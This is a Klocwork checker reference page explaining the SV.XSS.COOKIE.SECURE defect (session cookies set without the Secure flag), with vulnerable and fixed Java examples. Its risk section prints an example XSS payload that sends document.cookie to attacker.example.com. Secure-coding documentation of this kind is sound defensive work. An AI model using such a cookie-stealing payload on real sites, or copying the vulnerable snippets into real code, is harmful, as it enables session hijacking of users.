SV.XSS.COOKIE.SECURE

Sensitive cookie without Secure protocol

Klocwork reports a SV.XSS.COOKIE.SECURE defect when a cookie that is used to store a session ID for a client's interaction with a website is not sent on a secure protocol such as HTTPS and SSL.

As of release 2023.2, this checker supports Jakarta EE.

Vulnerability and risk

An attacker who can perform cross-site scripting (XSS) could insert a malicious script, for example:

Copy
 document.write('<img src="http://attacker.example.com/collect-cookies?cookie=' + document.cookie . '">'

When the client loads and executes this script, it makes a request to the attacker-controlled web site. The attacker can then log the request and steal the cookie.

Mitigation and prevention

The setSecure flag indicates to the browser that the cookie should only be sent by using a secure protocol, such as HTTPS or SSL. When set, browsers that support the flag will not send the contents of the cookie over an unsecured protocol.

Vulnerable code example 1

Copy
   String sessionID = generateSessionId();
   Cookie c = new Cookie("session_id", sessionID);
   response.addCookie(c);

Klocwork reports an SV.XSS.COOKIE.SECURE defect at line 3, indicating, "Possibility of attack on cookie without a Secure protocol, such as HTTPS or SSL." because the setSecure flag is not set on the cookie before adding to the response.

Fixed code example 1

Copy
   String sessionID = generateSessionId();
   Cookie c = new Cookie("session_id", sessionID);
   c.setSecure(true);
   response.addCookie(c);

Klockwork no longer reports an SV.XSS.COOKIE.SECURE defect at line 4 because the setSecure flag has been set on the cookie on line 3.

Vulnerable code example 2

Copy
   String sessionID = generateSessionId();
   Cookie c = new Cookie("session_id", sessionID);
   c.setSecure(false);
   response.addCookie(c);

Klocwork reports an SV.XSS.COOKIE.SECURE defect at line 4, indicating, "Possibility of attack on cookie without a Secure protocol, such as HTTPS or SSL." because the setSecure flag is not set on the cookie before adding to the response.

Fixed code example 2

Copy
   String sessionID = generateSessionId();
   Cookie c = new Cookie("session_id", sessionID);
   c.setSecure(true);
   response.addCookie(c);

Klockwork no longer reports an SV.XSS.COOKIE.SECURE defect at line 4 because the setSecure flag has been set on the cookie on line 3.

Related checkers